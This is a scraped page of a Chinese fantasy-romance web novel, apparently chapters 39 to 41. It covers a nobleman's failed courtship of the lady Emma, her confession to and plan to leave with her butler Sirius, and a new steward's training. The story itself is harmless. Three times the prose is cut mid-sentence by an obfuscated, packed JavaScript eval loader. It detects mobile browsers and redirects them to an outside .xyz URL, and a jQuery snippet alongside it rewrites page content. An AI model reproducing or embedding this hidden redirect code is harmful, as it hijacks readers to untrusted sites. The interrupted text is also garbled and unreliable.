伯爵夫人拎着他爹后颈出去了,说你以为我当初看上你是被你那直白得一塌糊涂的情书打动了?你比伯恩好到哪里去了就敢教他? 伊克里尼伯爵夫妇在爱情上都是看直觉的浪漫派,所以从前也没催促过伯恩的婚事。他们对伯恩的感情追求都很支持,甚至是在不了解艾玛为人的前提下就全力支持。 用他爹的话说,“我儿子都喜欢到这个地步了做家长的有什么理由不支持”。 他甚至想亲自去费城一趟替儿子求婚,被夫人儿子一起拽住了。 只见过一面就求婚,确实看起来更像别有居心。 毕竟在遇见艾玛之前,伯恩也不信故事里的一见钟情。 伊克里尼伯爵大手一挥,名正言顺地把两城间商贸合作事宜全部交给了儿子,就一个要求:别色迷心窍到赔本回来就行。 伯恩想,自己倒也不至如此。 直到真的和艾玛谈起合同,看着她的脸,听着她的声音,差点把能让的利都让了,才感觉自己的底线实在比父亲想象得还低。 艾玛不是那种乘人之危的黑心商人,用担忧的语气关心了一下他的身体状况,最后按照常规比例定了分成。 伯恩想,她人真好。 他一度以为,艾玛对他是有好感的,只是那封求婚信太过冒昧。所以伯恩试着循序渐进,想在有足够的互相了解之后再次提出。 她确实不讨厌他,每一场有他在的宴会,伯恩从不会受冷落,艾玛乐于和他交谈;每封寄去费城的信,她都有好好回复;伯恩总觉得,她向自己微笑时比向别人笑得更温柔些。 那种错觉般的两厢情愿,在艾玛16岁的生日宴会上到达了顶峰。 伯恩想象过,却不敢相信那真的会发生。 在那晚的舞曲即将开始之前,艾玛走到他面前,递给了他第一支舞的玫瑰。 他听见自己的心跳声把所有想法都淹没了,只有比烈酒还要灼热的、令他感到轻飘飘的、眩晕般的狂喜。 那天的舞他跳得实在不太好,因为心脏狂跳,他的感官都错乱了,数不清拍子,甚至不小心踩到了艾玛。但艾玛没介意,反而笑了。 第一支舞曲结束之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他仍然抱有些许侥幸,因为艾玛虽然拒绝了他,但也从未接受其他人的示好。 在贵族中能做到这样孑然的清高,已经不单是品性的问题。 艾玛至今安然无恙,能够证明她有足够如此行事的本领。 伯恩最早忧虑过她没有姓氏和靠山,但那似乎是多余的担心。 伊克里尼伯爵看了也赞叹,这位低调的小领主手段不凡,起码是背后有人的。 这是件好事。 伯恩为她能够自由行事而高兴。 伯恩今年就要二十二岁了,换在别人家,是早就被父母押着去相亲的年纪。他有一对足够开明的父母是幸事,父亲现在还在说,要亲自到费拉约尔斯跟这位小姐谈一谈。 他已经很清楚,即使父亲真的前来,情况也不会有任何改变。伯恩不想给艾玛造成多余的困扰。 父母都已不再年轻,他继承伯爵爵位的日子已经是可以想见的了。不能再继续任性地执着于一腔热血的无望感情,而需要更多地考虑身份、责任和义务。 伯恩觉得,他应该到了要彻底放手的时候。 今天,最后一次,他想再尝试一次,向艾玛再坦诚一遍自己的心意。 如果得到相同的答案,他决定让自己放下。 即使这份感情一时半刻无法消失,但他起码可以用理性控制自己,做出更明智、对双方更好的选择。 就像不必每一次,在伯恩无法客观谈论合作时,他都被动地接受着艾玛让出的公平。他本就该承担主动要求公平的义务。 39.宣告 伯恩在看艾玛,宴会一角,嘉兰的目光则在伯恩和艾玛之间打了几个来回。 “伊克里尼家的长子还是挺不错的。品行能力都好,就是人直了点。伯爵的爵位跟艾玛大人还算匹配。而且……傻子都看得出,他是真喜欢我们的领主大人。”嘉兰无奈地评价。 艾玛也有爵位,费拉约尔斯领主的爵位是伯爵。但她没有姓氏,不能按姓氏加爵位这样的方式称呼。人们大都称呼她“领主大人”“伯爵小姐”或“艾玛小姐”。 一旁的西里斯嗯了一声答复。 他比嘉兰了解得更多,甚至伯恩第二次求婚时,西里斯就在附近,确认对方没有因为被拒而恼羞成怒威胁艾玛的安全,之后才在心里给出一点不多的同情。 西里斯自己拒绝别人没有多少感想,看艾玛拒绝别人也没有多少感想,心情都是理所当然。 勇敢追爱被拒是很可怜,但西里斯对恋爱中感性莽撞的傻子没什么同理心。 不过那些不明情况,只因为艾玛去年生日宴会上把第一支舞给了伯恩,就以为他俩有戏的人,频频向远远待在一边的伯恩纳闷地暗示,让知道内情的人不免看着可怜。 城堡里有些佣人也怀着这样的误解,只有真正熟悉艾玛的人知道:完全没戏。 “虽然我觉得是时机还没到,或者没碰上合适的。”嘉兰侧过头,对西里斯道,“但你有没有觉得,如果天天对着你,艾玛大人确实很难看上其他人?” 西里斯挑了挑眉:“没想到你对我评价这么高。” 嘉兰冷笑:“那不然呢?我看上你是为了证明自己眼光不好?啧,某种角度来说确实眼光不好。” “如果以我为标准,她看不上其他人,那就是那些人还不够格。”西里斯说,“她值得最好的。” 嘉兰着恼地磨了磨牙:“行吧,该不该说你没有自知之明呢?” “眼界不同,见过的人不一样,标准当然不一样了。”西里斯放缓语气,无缝切换到了温柔的挑衅态度。 嘉兰在别人看不见的角度给他比了一个隐晦的中指。 嘉兰至今都没搞明白西里斯和艾玛之间的关系。 说亲密也亲密,说疏远却也疏远。在对艾玛足够熟悉之后,她才更加感到异常。 艾玛对她喜欢的人毫不掩饰好意,无论是对她的贴身侍女,还是对嘉兰。这就让她对西里斯的态度显得尤为别扭。 嘉兰不认为自己了解西里斯,但时间渐长之后,她才慢慢察觉到,她对艾玛的了解也仍然有限。 西里斯的神秘来源于他掩盖了自己的过去,藏起了对很多事物的真实看法,心思太深,又不肯说实话,嘉兰觉得她理解不了是当然的。 而艾玛对她已经足够坦诚,嘉兰仍然觉得有时看不懂她。 她逐渐明白到,那大概是更深、更本质的性格和观念上的差距,反而是无论如何努力都无法弥补的鸿沟。 人和人的性格不同、观念不同,是再正常不过的事情。即使是关系很好的发小,嘉兰跟迪尔和凯的想法也差别很大。 但嘉兰隐约意识到,艾玛本性里的某些部分,不单是她无法理解,甚至可能是跟她截然相反,或许在某一天会引发她们不可调和矛盾的东西。这种感觉让她不安。 嘉兰并不是太纠结于想不明白的事的那种人,理解不了就不想了。 她既信任艾玛,也信任西里斯。 这份确信比那些说不清的感觉重要多了。 艾玛不喜欢张扬,宴会的规模不大。天气影响增加了些筹办难度,但总体很顺利。 西里斯在看人上确有点本事,城堡里有不少他安排的新人,做事都很让嘉兰省心。像今天这样重要的宴会,甚至有其他人调度就足够,嘉兰还有在这儿聊天的闲情。 她跟西里斯谈了谈城堡的新人,感慨了一句:“跟你当同事还是挺让人高兴的。” 西里斯若有所思:“嗯,我在想,要是什么时候能找到合适的人,把管家的工作也转交了就好了。” “一句都没还夸完怎么就原形毕露了。” 西里斯气定神闲:“我都四十多岁了,现在做好退休的打算不是很合理吗?” “听你鬼扯。说得像你最近才不想干了一样。”嘉兰也不信他编的年纪,西里斯倒是把这设定记得很清楚。她啧完声,端起饮料喝了一口,又想起来,顺口提到,“凯呢?你说他还挺有管理的才能的。” “心太软,惦记的事太细,考虑整体的能力不行。”西里斯提供的理由很详细。 嘉兰想想,说得都在点上,点点头没什么异议。 他们正说着话,西里斯突然感到手指被拉了一下。 他低下目光,看到一根银色的细线,在他食指指根绕了一圈,向某个方向扯了扯。他向着牵引的方向看过去,对上了艾玛的目光。艾玛将手里的酒杯放在了一边的桌上。 那银线是艾玛的基础魔法具象,西里斯不陌生。 这是艾玛给他的小小信号。 “主人叫我过去。”西里斯对嘉兰道。 “哦,行。”嘉兰以为他是看到了艾玛比的手势暗号,没有多想,“那我去忙了。” 西里斯过去找了个借口,说是有事要跟领主报告,客人们自然识相不再打扰。 艾玛道了歉,转身走向露台。 她走到露台栏杆边上,舒了口气,挺拔的身姿放松了些。 今天外头太冷了,露台的门关着半扇,此刻没有其他人。 西里斯把剩下半扇门掩上,提醒艾玛:“小心着凉。” 艾玛拉了拉身上的外套:“嗯,我会注意。” “您叫我有什么事吗?”西里斯问,“或者只是想休息一下?” “都有。我刚刚看到露台上没人,就想来这边待一会儿。现在雪停了。” 露台外面就是花园,此刻积着大片大片的雪。 这会儿太阳从云后露了出来,洒下温暖的金色光芒,映在寒冷的雪色上,添了几分薄薄的暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065378|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。 艾玛看向他,笑着说:“而且,我今天还没和你单独说过话呢。” 艾玛在某些事上有着她自己的一套奇怪仪式感。西里斯时常搞不明白,但不介意顺着她来。 于是西里斯说:“生日快乐。” “哈哈,谢谢。不过我不是想说这个。”艾玛靠到栏杆上,想了想,“我今天就十七岁了。波克奈利的法律里,女性十六岁成年。听说在其他国家,也有女性十八岁才算成年的情况。但总的说来,我应该已经能够算作‘可以为自己言行负责的成年人’了吧?” “当然。” “好。”艾玛合上手,“我今天早上没有喝过酒,现在精神状态良好,神智清醒。那么,我接下来的话,都是我经过认真思考、反复斟酌之后得出的结论。” 西里斯想,听着像什么协议的开头。 艾玛说到这里,垂下眼,停了一会儿。 “我……后来才认识到,我跟很多人不一样。在魔法的天分上,我确实超出一般人;但作为一个‘人类’,我似乎有某些部分很异常。 “我不擅长理解一些对他人来说理所当然的感情。或者说,即使大脑能够理解,我也无法共情。对雪莉她们来说,因为什么事高兴、伤心、生气,都像呼吸一样自然。我也有这些感情,但很难像她们那样强烈。有时候那些情绪太过微弱,我甚至察觉不到它们存在。 “很难证明,这是我天性的一部分,还是后天环境所影响形成的个性。但我需要承认,这种特质是我的一部分。我没办法否认。 “我花了很长时间去理解‘爱情’。看了很多书,也接触了很多据说抱有这种感情的人。我可以用思考的方式理解很多问题,但它似乎是仅通过思考无法解答的。 “所以我尝试着……去感受自己。” 艾玛按着自己的心口,向西里斯抬起眼睛。 阳光在她身后,反而衬得她金色的双眸愈发明亮……和温柔。那双总是平静的眼睛,仿佛微微燃烧着、化开了,带着西里斯从未在她眼里见过的灼灼生机。 “现在,我的感情告诉我,我的直觉告诉我,我对你所抱有的情绪,远比对其他任何人都强烈。就像现在你在我面前,我很高兴见到你。 “我想,我应该将这种心情解释为……‘我喜欢你’。” 西里斯沉默了好一会儿,说:“我曾经给过您回答,我的答案没有改变。我很抱歉。” “嗯,我明白,你不会回应我。”艾玛点头,“但我还是想告诉你。无论是这份感情本身,还是我终于能理解这份情绪所代表的意义,这两件事都很让我高兴。你很重视这种感情,所以我想用更正式的态度向你说明。” “感谢您这份……体贴。”西里斯顿了顿,“所以特意挑在现在说吗?” “今天天气很好,是我的生日,适合把我的想法告诉你。所以,还有一件事。” 艾玛看着他,轻快地说: “——我决定离开费拉约尔斯。” 40.决心 露台几乎整个在庭院里,与宴会厅相连的门掩上了,只有些交谈声隐隐传过来。 上午的庭院里落满阳光和积雪,天空晴朗,风声干净。 在艾玛身边,鬼魂的声音都会消匿。西里斯没有理由听错。 因为太过熟悉,他还能清晰辨认出艾玛语气里的确定。 这显然是个深思熟虑的结果,艾玛不会开这种玩笑。 “我想我没有会错您的意思。”西里斯说,“抱歉,但我不太明白为什么要把这两件事连在一起说,听起来会显得这更像个一时冲动的……报复。” “两件事我都仔细考虑过,因为我觉得前一件事比较重要,需要更早告诉你。”艾玛说,“在知道这一点的前提下,你仍然会跟我一起离开吗?” “当然。”西里斯的语气平静而没有半点犹豫,“我的性命是您的。您去哪里,我会跟到哪里。” 艾玛说:“你比我想象里更加冷静。” “这座城市还是太狭窄了,即使加上这个国家也一样,远远装不下一位女巫的心。您早就产生了犹豫,我能看出来。”西里斯淡淡道,“说回来,您那‘第一个愿望’,本来也不是您的风格。” “嗯。那是我对他人愿望的……模仿。”艾玛笑着,垂下了眼睛,“我的父亲以前总是说,等他赚到足够多的钱,就要去买下贵族的姓氏和爵位,过上等人的生活。我不能理解,无法想象。可我认识的所有人都觉得这是个理所当然的愿望,好像所有人的生活都是为了这个相同的目的。我想,可能是我比较笨一点,所以不明白。” “即使遇到从天而降的恶魔,我也不知道能拿自己的灵魂交换什么。我没有特别想要的东西。所以我想起了那个‘别人的愿望’。我以为,只要时间够长,我就能理解他们的向往。可在愿望实现之后……我才越来越清晰地明白:这不是我想要的东西。” 艾玛笑笑:“很不成熟的想法。我总是不明白自己的心情,做出错误的选择。直到现在,我也并不明确自己想要追求的是什么。但我想要离开这里,去其他地方旅行,去见我从前所未见,体验我没有尝试过的事情。只有这份决心是确定的。” “有时候放弃比坚持更需要勇气。您做出了选择。”西里斯说。 “在这一点上,我更应该对你道歉。这几年里,你对这座城市付出的时间和精力远比我要多,对未来做了很多布置打算。我作出放弃的决定,也等同浪费了你的用心……对不起。” “请不必介怀,我不在乎消磨掉的这一点时间。我做这些,只因为‘那是您的愿望’。如果您不再需要,及时停止就可以。”西里斯想了想,“那么,从哪里开始呢?您应该预想过离开之后,要留下怎样一座城市吧?” 艾玛点头,没什么犹豫地说:“我希望,嘉兰能成为这里的领主。” “很合适的选择。”西里斯毫不意外。 “但不会容易,好像又给你出了难题。” “比起另外寻找合适的人选,选她反而轻松多了。”西里斯思考了片刻,“嘉兰那边,我会向她解释。离开的决定肯定得事先告知她。除此之外,您还打算提前告诉其他人吗?” “我会找时机跟雪莉和莫妮卡说,凯和迪尔知道也没关系。” “您有带他们离开的打算?” 艾玛摇摇头:“他们生活在这里,家人朋友都在这座城市,跟我离开对他们没有意义。只是我想告诉他们。其他人不用特意说明,等到合适的时机,可以用‘我恢复了记忆,想要离开这里寻找家人’作为理由。” “我明白了……那么,您想要什么时候离开?” “不那么着急,我有很多课还没上完。既然决定去旅行,应该提前准备,再针对性地学一些东西。”艾玛算了算时间,“大概一两年吧,作为留给你收尾的时间,这足够吗?” “足够了。”西里斯想了一会儿,“我大概知道该怎么做了。今天的宴会还没结束,您等会儿还有的忙,就先别想这么多了。之后有时间,我会和您确认其他细节。” “好。”艾玛说,“需要我许下第二个愿望吗?” “不必了。您许下第一个愿望的时候才十二岁,要求当时的您考虑全面本就强人所难。这次收尾是无偿售后。只要您确定不撤销这次的要求就行。” 艾玛低低地笑了:“如果恶魔真的像你这样做生意,肯定会亏本吧。” “幸好我不是真正的恶魔。”西里斯耸了耸肩,“但契约真实无误。即使您不作任何要求,我也会陪同您去旅行。” 他的口吻变得更认真,强调般加重了语气:“请谨慎对待您的第二个愿望,不要轻易使用它。” 西里斯以前也说过类似的话。除了最早订立契约和第一次许愿的时候,他后来对契约和许愿的规则做过些补充强调,大概是担心艾玛当初没听明白。 艾玛点点头。 “那么,我先回去了。您如果想在这里继续休息,请注意时间。” “嗯,我知道。” 西里斯走到露台门边,迟疑了一下,回过身:“——这是我个人的好奇。在我看来,您早就对那个愿望是否符合您的期望产生了犹豫和动摇。时间越长,您在这里投入得越多,想要放弃也就越困难。我有点想知道,是什么让您下定了决心?” 艾玛望着他,很慢地眨了眨眼睛。 “因为……在我尝试理解什么是‘喜欢’的时候,我终于理解了自己的心情。”她抚上自己的心口,“它前所未有强烈,比其他感情都更加明晰。这对我来说很……新奇。通过了解自己的情绪,我好像也更加理解了‘我自己’。” “所以我真的很感谢,能够让我体会到这种感情的你。” 啊,西里斯想,不该多问的。 嘉兰见到西里斯走过来的时候,她正在跟女佣谈话。在确认了今天晚餐的菜谱也没有问题之后,她示意对方先行离开。 女佣看得懂气氛,向两人告辞后便匆匆走了。 她看西里斯脸色有点奇怪,扬扬眉毛,还没来得及调侃什么,西里斯端着一张面无表情的脸,开门见山地问:“你想当领主吗?” 嘉兰愣了三秒。 在这三秒里,她首先从那仿佛回到他们认识没多久时互相怀疑的气氛中回过神来,认为这并不是一句对她野心的试探。 其次,这既不像闲话家常更不像玩笑,也不像听了什么谣言对她的质问,更像平时西里斯问她“这事要不交给你做”的口吻。 最后,嘉兰是真心喜欢艾玛,甚至认真地想过并感慨,有这样的领主和上司很好。 她对西里斯虽然心情复杂,但是想到将来有很久还会跟这个既可靠又气人的家伙一起工作,又有一些复杂的释然,认为这样的未来或许也不错。 综上所述。 三秒之后,嘉兰的眼神缓缓犀利了起来,冰冷地看着西里斯说:“叛徒。” 在跟艾玛平静地确认了诸多事项,离开她有好一会儿之后的此刻,西里斯才感到了姗姗来迟的头疼。 好吧。他想,做出行动总是最麻烦的,这才刚刚开始呢。 宴会要办上一整天,让客人一天的时间都在厅里聊天吃点心自然太闷了。有的人喜欢拉一桌打牌下棋,也有人借用城堡里的房间娱乐和休息,更有许多从外地来的客人会在城里先晃上一天,傍晚才赶来参加晚宴。 邻近傍晚的时候,客人逐渐多起来。 艾玛和一些客人们在一楼待客的书房,说是书房,更像专供举办沙龙的房间。布置得很考究,墙上挂着油画,留声机上转着悠扬低沉的慢歌。 聚在一起聊天的客人时不时发出一阵笑声。他们在说什么,伯恩都没听进去。 他靠在窗边放花盆的桌子旁,双手放在口袋里,看起来在想什么事情。 伯恩放在左边口袋里的手碰着戒指盒,拿起,又松开,反反复复。 他一开始还在数留声机的曲子放到了第几个乐章,后来已经完全忘了这回事。 他看到窗外太阳正在缓慢落下去,夜晚正在到来。 伯恩想起晚宴,想起第一支舞,更感到心烦意乱。 贵族社交界的礼仪中,除非双方达成过一致,或求婚者有足够的确信,否则不会在公开场合当众求婚。如果被拒绝,丢的是家族的面子,更甚者会导致两方结仇。 艾玛再次拒绝他的概率有八成……不,九成可能还低了吧。但那一点侥幸仍然不依不饶地诱惑着他。 得找到机会,在独处的时候告白。 要找个自然的借口,不能做得太明显,否则同一个圈子的人,大家一眼就能看出他是要把人叫出去私下求婚。 伯恩最不擅长想这种事。 他不擅长撒谎,不擅长编借口,还要找个自然的理由。 心虚、不安、期待和焦虑缠绕着他,那首慢节奏的曲子听来都令人忐忑。 所以他没注意到房间里的人声突然小下去,没注意到有人走到自己身边,直到熟悉的声音让他一个激灵。 “伯恩?”艾玛站在他面前,话音里带了点关切,“你看起来不太好。” “啊,呃……没、没什么。”伯恩摸了摸鼻子,生硬地扯了个谎,“我在想……领地还没完成的工作。” 艾玛点点头,很理解:“马上入春了,希格米莱一定有很多事情要忙,你特意抽空赶来参加我的生日宴会,谢谢你。” 伯恩差点咬了自己的舌头,反应过来自己借口找得不好。 特意从其他城市赶来参加别人的生日宴会,然后在角落想工作?听来像是指责主人办的宴会无趣,或者抱怨自己受了冷落。 但艾玛的语气里没有责难,顺着刚才的话题自然地问了起来:“费拉约尔斯这两天下了雪,不知道希格米莱怎么样。快到适合播种的时间了,希望你们那里不要受到这阵低温的影响。” 这话题用不着编造答案,伯恩自然地接上了:“希格米莱还好,只是这两天稍微降了点温,没有下雪。播种的准备在正常推进,谢谢你的关心。” 两月底是天气由寒转暖开始入春的时候,希格米莱的特色是品类众多的水果,也连带了水果衍生的各种产品。由于伊克里尼伯爵的个人嗜好,这几年希格米莱的果酒行业欣欣向荣。 在希格米莱,种植的春天和收获的秋天是最忙碌的,但现在天气还冷,在准备工作阶段,没有那么多工作非交给伯恩这个继承人不可。 比起工作,伊克里尼伯爵更操心他的婚姻大事,送伯恩出门的时候恨不得自己也一起过来。 伯恩觉得,父亲就是爱看热闹,连看儿子的感情笑话也一样。 伯爵知道他上次求婚失败的事,装作很为儿子伤心——伯恩觉得他不是真伤心,只拿这事当借口拖着儿子大喝一顿,母亲顾及情场失意的儿子还不好拦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070725|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>今天要是再失败,怕是还有这么一顿——伯恩记得父亲藏了几瓶好酒,送他出门时那期待的眼神,怕是成了回去庆功,失败回去借酒浇愁,伊克里尼伯爵左右是不亏的。 他很为父亲的豪放头疼叹气,有时候却也因为他这样的个性而安心。 伯恩的手仍然放在口袋里,手指划过戒指盒,那些不安的情绪阵阵掠过他心头。 如果再次失败……伯恩想,或许他确实需要父亲的酒也说不定。 “对了——我已经准备好了揽花节的邀请函。”艾玛想起了什么,“按惯例,庆典仍然在今年五月。届时,希格米莱的事务想来能告一段落,不知道伊克里尼伯爵有没有空赏光?这几年受了伯爵诸多照顾,但我们一直没有见过面,我应该当面谢谢他。” 伯恩眉毛抖了抖:“他……五月下旬大概能有空,得之后再确认具体的日程。父亲对费城的揽花节很有兴趣,他要是听到你这么说,一定很高兴。” “太好了。我本来想把邀请函寄到希格米莱,但难得你今天亲自过来一趟,我想,亲手交给你更有诚意。”艾玛微笑,“我把邀请函放在了办公室。看你在这里待着有点闷,不然趁这个机会,我们出门走走吧?” 伯恩一愣,心跳加快。 艾玛作出这邀请显然是在顾及他的情绪,但这是个绝好的独处机会,甚至用不着伯恩再找什么借口。 他强自镇定地答应下来,却立刻感到紧张,握紧了口袋里的戒指盒。 艾玛向书房里的客人们打了个招呼,带着伯恩出去了。 客人间交换了眼色,大多也是记得去年的第一支舞,认为伯恩很有机会,书房里弥漫开一种暧昧的默契。 伯恩无暇在乎那些误会,跟着艾玛有些僵硬地走了出去。 伯恩对城堡一楼的办公室很熟悉,但艾玛领的路却从一楼办公室前绕了过去。 他愣了愣神,一时脑内又闪过八百种想法。 “那个——艾玛,”伯恩还是问道,“办公室不是刚才那个方向?” 艾玛回过头,笑了笑:“啊,我放在三楼的办公室了,要麻烦你陪我走走楼梯。这会儿可能有女佣在打扫,你别见怪。” 伯恩面上没有多少变化,手却紧张得快把戒指盒捏开了,脑内一片浆糊。 三楼是领主的私人领域,那层楼的办公室是领主独处办公用的,一般客人即使有要事来访,也不能去三楼打扰,需要佣人转告。 伯恩此前还没有去过艾玛三楼的办公室,一时觉得这或许是什么成功的预兆,又因为惊喜来得太突然反而不知所措。 但伯恩这一年来毕竟是进步了。如果是去年的他,恐怕现在就要在楼梯口不管不顾地当场下跪拿出戒指,但这一年到底给了伯恩不同的视角,让他能用更冷静和客观的目光看到一些别的东西。 伯恩从自己主观的期望和恋慕里稍稍脱出身来,感到一点微妙的脱节。 艾玛走在他前面,正拾级踩上楼梯,腰后装饰的缎带水母一样轻盈地跃动。 伯恩后知后觉地意识到,叫住她:“艾玛?” 艾玛停下脚步,回过头,脸上仍然带着笑。 啊,伯恩想道,不是错觉,艾玛笑起来和平时不太一样,没有那么多出于礼貌的感觉。从书房出来后,更是肩膀也放松了,显得异常轻快。 伯恩惯例会自作多情,以为这变化是自己的缘故。但他今天莫名不这么想。 一种奇怪的感觉把他紧张的心跳都压了下去,只是仍然时不时心悸般震一下。 “你今天,是不是心情特别好?”伯恩试探地问。 艾玛展了展眉眼:“是啊。被你看出来了。” “发生了什么好事吗?” 阶梯边靠着扇窗,艾玛从窗口望出去,天空已经暗了一半,城堡亮起了宴会的灯火,天际只剩一线橙红的残阳。 艾玛的眼睛是明亮的,像夜晚柔和的月亮。 “有一件想了很久的事,我终于下定了决心。因为对未来的迷茫和恐惧,我在原地停了很久,今天终于迈出了第一步。虽然未来还有更多困难,我应该是不安的,也值得为此忐忑,可是……我又真的很高兴。” 她望着并不确定的远方,笑着说:“是啊……这应该是很好的事吧。” 伯恩望着她,想,他从未见过这样的艾玛。 他也从来不知道,一直平静、温柔,好像没有任何困惑和不安的艾玛,也会感到迷茫恐惧,就像个普通的女孩。 但伯恩没有觉得这拉近了他和艾玛的距离,他望着和自己只相隔几阶的艾玛,忽然感到一种异样的遥远。 有一个像在梦里回荡的朦胧声音对他说:你其实知道,你并不真正了解她。 伯恩愣了一会儿,艾玛已经在接着往上走了,螺旋的阶梯载着她向上,向上。 他迟了片刻才跟上她上行的脚步,在艾玛刚刚停驻的窗前顿了顿,望出去。 伯恩看到走过的宾客,草地树枝上的积雪,远一些城市里的灯光和炊烟。 天暗下来了。他想,他大概没有跟艾玛看见相同的东西。 伯恩只停了一会儿。他从口袋里抽出手,握上楼梯的扶手。 伯恩没有那么怕冷,但手在口袋里放久了,拿出来多少有一会儿不适。他很快适应了这初春的温度,步伐和身形都放松下来。 戒指盒安静地躺在口袋里,不言不语。 41.坦白 “我可以提问吗?” 凯战战兢兢地在书桌前坐了一会儿,抬头,鼓起勇气发问。 西里斯冷酷无情地回答:“可以。但跟笔记知识点无关的不要问。” “不是,我就是……想知道是怎么了,这么突然说真的我有点吓到……” 西里斯看了一眼怀表,像机械钟一样不带感情地报时:“你只有365天的时间,现在是早上九点零五分,你还有364天十四个小时五十五分,你刚刚的问题浪费了七秒。” “西里斯先生您别这样我害怕真的一大早这样怪吓人的……”凯一个冷战,目光生无可恋般没有希望,“刚刚那是什么的倒计时?世界末日还是我的剩余寿命?” “我要你的命干什么?” 凯看着堆在桌面高过他头顶的书本笔记,沉重而犹豫地回复:“为了开心?” “我没那么闲。而且,如果没必要,我讨厌给人上课。” 凯懵懵懂懂地点头:“哦哦……诶等一下,那您以前教我的时候算什么?” “魔法的事先放一边,现在时间有限,该让你学点更有效率的东西了。”西里斯像打量一盆没修剪过,看着未来堪忧的野草那样上下看了他一圈,“幸运的是,你以前也有参与城堡的事务管理,对相关知识不陌生。虽然有待长进的地方多得数不胜数,我也不觉得你真是这块料,但死马当活马医,教教应该还能用。” 凯茫然地看了看手里的书,又看了看西里斯:“情况已经这么紧迫了吗?” “如果要成为领主的管家,你得学的东西很多,时间有限。”西里斯说,“但确实没有更好的选择了。” 凯愣了一会儿,摸了摸后脑:“呃……您的意思是,您打算退休了?从年龄来说好像是,但不用这么急吧,我也从来没想过要当管家……” 西里斯没有表情地补充:“我说的领主是指嘉兰。” 凯刚要点头,回过神猛地弹起:“我知——等一下我不知道啊!什么?诶?啊?嘉兰要当领主?去哪里当?” “当然是这座费拉约尔斯。”西里斯皱眉,合上手,手指交叠起来,“——解释起来太麻烦了,之后再详细说。我已经说过时间紧张,现在,别再浪费我的耐心。” 冰冷的红线绕上凯的脖颈和双手,将他定在桌前。他对西里斯的红线很熟悉,但被它们这么缠上还是第一次,线上透出明晃晃的威胁。凯有点冷汗涔涔了。 “别打瞌睡。”西里斯翻开书页,“我会盯着你的。” 和现在的管家进修课相比,凯完全能感受到西里斯之前教他魔法跟说着玩儿似的。 在大致了解了让他当管家的理由之后,凯也能领会到其中的必要性,并愿意接受。 凯今年也要满二十二岁,毕竟比以前成熟多了。但他实在是散漫成了习惯,从小没接受过如此高强度的学习,还是感到压力很大。 西里斯有时候没空亲自去检查他的学习情况,凯还会碰到墙上冒出一只眼睛、背后突然飘来只有自己听得见的人声这种白天想起来都觉得恐怖的灵异情况。 他平时甚至不太敢看恐怖小说,却生生把自己的日子过成了鬼故事。 迪尔本来跟凯不是一个宿舍,最近晚上都被凯薅去他房间壮胆。 迪尔无所谓,房间里就算有真的鬼也影响不到他的睡眠质量。凯在一边挑灯夜战,迪尔在他床上安然入眠。 凯的实际毅力和顽强都远超他平时所表现的,属于那种喊痛喊得很大声,但其实没觉得真有那么疼的类型。 这次凯一反常态的表现坚强,都不喊痛了,反而让习惯他一惊一乍的嘉兰心生忧虑。 嘉兰于是对西里斯道:“你要是真觉得凯不行,就别折腾他了。” “他都没说要放弃,你担心什么?”西里斯说,“要心疼你自己当上领主再心疼。我保证还给你个活的。” “不能只是活的,还得活蹦乱跳才行。”嘉兰皱眉,“你自己都说过,凯不是当管家的料。” “情况不同,判断标准可以变化。”西里斯看向她,“如果作为领主的人是你,凯是最好的选择,他的缺点甚至可以是优点。最重要的是——凯绝对不会背叛你。” 嘉兰焦躁地皱了皱眉:“我还是不能理解。如果这个领主的位置可以轻易送给我,你当初何必费那么多功夫?” “都说情况在变化。我看不见未来,也猜不到主人的想法。”西里斯没有表情地说,“体谅一下,我只是个打工的。” “你们为什么要离开?”嘉兰说,“这个总可以告诉我吧?” 西里斯伸出一根手指:“第一个解释:领主恢复了部分记忆,想起了自己的家人,决定离开这座城市寻找他们;第二个解释:领主生了重病,传说只有在远方的一片神秘的绿洲能找到解药,决定离开这里求医。其他解释还在编,最终采用哪个答案以主人选定的版本为准。” “装都不装啊。”嘉兰抽动嘴角。 “这些说辞骗不过你。要对你坦诚到什么程度,由主人决定。你如果想知道,最好直接去问她。”西里斯说,“就我个人而言,是什么都不打算解释的。” “喂。” “知道太多没有意义,这些跟你也没什么关系。”西里斯说得平静,语气没有起伏,“离开这里之后,我们不会再有交集。对于你生命里的过客,没必要花那么多精力。” 嘉兰看了他一会儿,说:“我挺讨厌你这种地方的。” “可以理解。”西里斯答。 空气一时寂静。 西里斯并不避忌她的目光,嘉兰盯了一阵子,呼出肺里的气,烦躁地抓了抓头发,半晌才说:“别把凯养死了。” “嗯。”西里斯也移开目光,“会还给你活蹦乱跳的。” 嘉兰没怎么去过艾玛的房间。她不是领主的贴身女佣,太私密的事用不着她照顾。三楼的办公室她经常去,但现在里面没有人。 走在去到那间卧室的路上时,嘉兰忽然有些恍惚。 